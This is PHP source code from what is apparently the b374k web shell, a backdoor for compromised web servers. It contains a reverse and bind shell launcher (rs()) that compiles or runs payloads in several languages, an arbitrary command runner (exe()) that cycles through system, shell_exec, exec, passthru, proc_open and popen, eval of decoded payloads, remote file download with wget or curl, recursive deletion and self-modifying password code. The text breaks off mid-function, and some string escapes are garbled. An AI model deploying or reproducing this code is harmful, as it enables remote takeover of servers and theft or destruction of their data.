$s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC";
$s_arrow = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==";
$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=";
$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg==";
$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
// http://www.kryogenix.org/code/browser/sorttable/ - SortTable (c) Stuart Langridge
$s_sortable_js = "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";
// https://github.com/ded/domready - domready (c) Dustin Diaz
$s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";

// magic quote and shit :-p
function clean($arr){
	$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
	if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
		if(is_array($arr)){
			foreach($arr as $k=>$v){
				if(is_array($v)) $arr[$k] = clean($v);
				else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
			}
		}
	}
	return $arr;
}
// function read file
function fgc($file){
	return file_get_contents($file);
}
// encryption for shell password
function kript($plain){
		return sha1(md5($plain));
}
function changepass($plain){
	$newpass = kript($plain);
	$newpass = "\$s_pass = \"".$newpass."\";";
	$con = fgc($_SERVER['SCRIPT_FILENAME']);
	$con = preg_replace("/\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
	return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
}
function get_code($t, $c){
	global $s_self;
	$c = gzinflate(base64_decode($c));
	if($t=="css"){
		return "<link rel='stylesheet' type='text/css' href='".$s_self."|' />";
		
	}
	elseif($t=="js"){
		return "<script type='text/javascript' src='".$s_self."!'></script>";
	}
}
function showcode($raw){
	$c = gzinflate(base64_decode($raw));
	ob_get_contents();
	ob_end_clean();
	ob_start();
	eval("?>".$c);
	$s_res = ob_get_contents();
	ob_end_clean();
	echo $s_res;
	die();	
}
// addslashes if on windows
function adds($s_s){
	global $s_win;
	return ($s_win)? addslashes($s_s):$s_s;
}
// add slash to the end of given path
function cp($s_p){
	global $s_win;
	if(@is_dir($s_p)){
		$s_x = DS;
		while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
		return ($s_win)? preg_replace("/\+/is", "\", $s_p.$s_x):$s_p.$s_x;
	}
	return $s_p;
}
// make link for folder $s_cwd and all of its parent folder
function swd($s_p){
	global $s_self;
	$s_ps = explode(DS,$s_p);
	$s_pu = "";
	for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
		$s_pz = "";
		for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
		$s_pu .= "<a href='".$s_self."cd=".pl($s_pz)."'>".$s_ps[$s_i]." ".DS." </a>";
	}
	return trim($s_pu);
}
// htmlspecialchars
function hss($s_t){
	//$s_s = htmlspecialchars($s_s, 8);
	return htmlspecialchars($s_t, 2 | 1);
}
// function raw urldecode
function ru($str){
	return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
}
// encode link, htmlspecialchars and rawurlencode
function pl($str){
	return hss(rawurlencode($str));
}
// add quotes
function pf($f){
	return "\"".$f."\"";
}
// replace spaces with underscore ( _ )
function cs($s_t){
	return str_replace(array(" ", "\"", "'"), "_", $s_t);
}
// trim and urldecode
function ss($s_t){
	return rawurldecode($s_t);
}
// return tag html for notif
function notif($s){
	return "<div class='notif'>".$s."</div>";
}
// bind and reverse shell
function rs($s_rstype,$s_rstarget,$s_rscode){
	// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
	$s_result = $s_fpath = "";
	$s_fc = gzinflate(base64_decode($s_rscode));

	$s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
	$s_errgcc = "Unable to compile using gcc";
	$s_errjavac = "Unable to compile using javac";

	$s_split = explode("_", $s_rstype);
	$s_method = $s_split[0];
	$s_lang = $s_split[1];
	if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
		if($s_lang=="py") $s_runlang = "python";
		elseif($s_lang=="pl") $s_runlang = "perl";
		elseif($s_lang=="rb") $s_runlang = "ruby";
		elseif($s_lang=="js") $s_runlang = "node";
		$s_fpath = "b374k_rs.".$s_lang;
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath, "w")){
			fwrite($s_file, $s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe("chmod +x ".$s_fpath);
				if($s_runlang=="node"){
					if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
					elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);
					
				}
				else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="c"){
		$s_fpath = "b374k_rs";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
		if($s_file = fopen($s_fpath.".c", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".c")){
				$s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
				if(@is_file($s_fpath)){
					$s_result = exe("chmod +x ".$s_fpath);
					$s_result = exe("./".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errgcc;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="win"){
		$s_fpath = "b374k_rs.exe";
		if(@is_file($s_fpath)) unlink($s_fpath);
		if($s_file = fopen($s_fpath,"w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath)){
				$s_result = exe($s_fpath." ".$s_rstarget);
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="java"){
		$s_fpath = "b374k_rs";
		if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
		if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
		if($s_file = fopen($s_fpath.".java", "w")){
			fwrite($s_file,$s_fc);
			fclose($s_file);
			if(@is_file($s_fpath.".java")){
				$s_result = exe("javac ".$s_fpath.".java");
				if(@is_file($s_fpath.".class")){
					$s_result = exe("java ".$s_fpath." ".$s_rstarget);
				}
				else $s_result = $s_errjavac;
			}
			else $s_result = $s_errperm;
		}
		else $s_result = $s_errperm;
	}
	elseif($s_lang=="php"){
		$s_result = eval("?>".$s_fc);
	}

	if(@is_file($s_fpath)) unlink($s_fpath);
	if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
	if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
	if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
	if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");

	return $s_result;
}
function geol($str){
	$nl = PHP_EOL;
	if(preg_match("/
/", $str, $r)) $nl = "
";
	else{
		if(preg_match("/
/", $str, $r)) $nl = "
";
		elseif(preg_match("/
/", $str, $r)) $nl = "
";
	}
	return bin2hex($nl);
}
// format bit
function ts($s_s){
	if($s_s<=0) return 0;
	$s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
	$s_e = floor(log($s_s)/log(1024));
	return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
}
// get file size
function gs($s_f){
	$s_s = @filesize($s_f);
	if($s_s !== false){
		if($s_s<=0) return 0;
		return ts($s_s);
	}
	else return "???";
}
// get file permissions
function gp($s_f){
	if($s_m = @fileperms($s_f)){
		$s_p = 'u';
		if(($s_m & 0xC000) == 0xC000)$s_p = 's';
		elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
		elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
		elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
		elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
		elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
		elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
		$s_p .= ($s_m & 00400)? 'r':'-';
		$s_p .= ($s_m & 00200)? 'w':'-';
		$s_p .= ($s_m & 00100)? 'x':'-';
		$s_p .= ($s_m & 00040)? 'r':'-';
		$s_p .= ($s_m & 00020)? 'w':'-';
		$s_p .= ($s_m & 00010)? 'x':'-';
		$s_p .= ($s_m & 00004)? 'r':'-';
		$s_p .= ($s_m & 00002)? 'w':'-';
		$s_p .= ($s_m & 00001)? 'x':'-';
		return $s_p;
	}
	else return "???????????";
}
// shell command
function exe($s_c){
	$s_out = "";
	$s_c = $s_c." 2>&1";

	if(is_callable('system')) {
		ob_start();
		@system($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('shell_exec')){
		$s_out = @shell_exec($s_c);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('exec')) {
		@exec($s_c,$s_r);
		if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('passthru')) {
		ob_start();
		@passthru($s_c);
		$s_out = ob_get_contents();
		ob_end_clean();
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('proc_open')) {
		$s_descriptorspec = array(
			0 => array("pipe", "r"),
			1 => array("pipe", "w"),
			2 => array("pipe", "w"));
		$s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
		if (is_resource($s_proc)) {
			while($s_si = fgets($s_pipes[1])) {
				if(!empty($s_si)) $s_out .= $s_si;
			}
			while($s_se = fgets($s_pipes[2])) {
				if(!empty($s_se)) $s_out .= $s_se;
			}
		}
		@proc_close($s_proc);
		if(!empty($s_out)) return $s_out;
	}
	if(is_callable('popen')){
		$s_f = @popen($s_c, 'r');
		if($s_f){
			while(!feof($s_f)){
				$s_out .= fread($s_f, 2096);
			}
			pclose($s_f);
		}
		if(!empty($s_out)) return $s_out;
	}
	return "";
}
// delete dir and all of its content (no warning !) xp
function rmdirs($s){
	$s = (substr($s,-1)=='/')? $s:$s.'/';
	if($dh = opendir($s)){
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				$f = $s.$f;
				if(@is_dir($f)) rmdirs($f);
				else @unlink($f);
			}
		}
		closedir($dh);
		@rmdir($s);
	}
}
function copys($s,$d,$c=0){
	if($dh = opendir($s)){
		if(!@is_dir($d)) @mkdir($d);
		while(($f = readdir($dh))!==false){
			if(($f!='.')&&($f!='..')){
				if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
				else copy($s.DS.$f,$d.DS.$f);
			}
		}
		closedir($dh);
	}
}
// get array of all files from given directory
function getallfiles($s_dir){
    $s_f = glob($s_dir.'*');
	for($s_i = 0; $s_i<count($s_f); $s_i++){
		if(@is_dir($s_f[$s_i])){
			$s_a = glob($s_f[$s_i].DS.'*');
			if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
		}
	}
    return $s_f;
}
// download file from internet
function dlfile($s_u,$s_p){
	global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

	if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
	$s_n = basename($s_u);

	// try using php functions
	if($s_t = @fgc($s_u)){

		if(@is_file($s_p)) unlink($s_p);
		if($s_f = fopen($s_p,"w")){
			fwrite($s_f, $s_t);
			fclose($s_f);
			if(@is_file($s_p)) return true;
		}
	}
	// using wget
	if($s_wget){
		$buff = exe("wget ".$s_u." -O ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using curl
	if($s_curl){
		$buff = exe("curl ".$s_u." -o ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lynx
	if($s_lynx){
		$buff = exe("lynx -source ".$s_u." > ".$s_p);
		if(@is_file($s_p)) return true;
	}
	// try using lwp-download
	if($s_lwpdownload){
		$buff = exe("lwp-download ".$s_u." ".$s_p);
		if(@is_file($s_p)) return true;
	}
	return false;
}
// find writable dir
function get_writabledir(){
	if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
		if(@is_writable("/tmp")) $s_d = "/tmp/";
		else if(@is_writable(".")) $s_d = ".".DS;
	}
	return cp($s_d);
}
// zip function
function zip($s_srcarr, $s_dest){
	if(!extension_loaded('zip')) return false;
	if(class_exists("ZipArchive")){
		$s_zip = new ZipArchive();
		if(!$s_zip->open($s_dest, 1)) return false;

		if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
		foreach($s_srcarr as $s_src){
			$s_src = str_replace('\', '/', $s_src);
			if(@is_dir($s_src)){
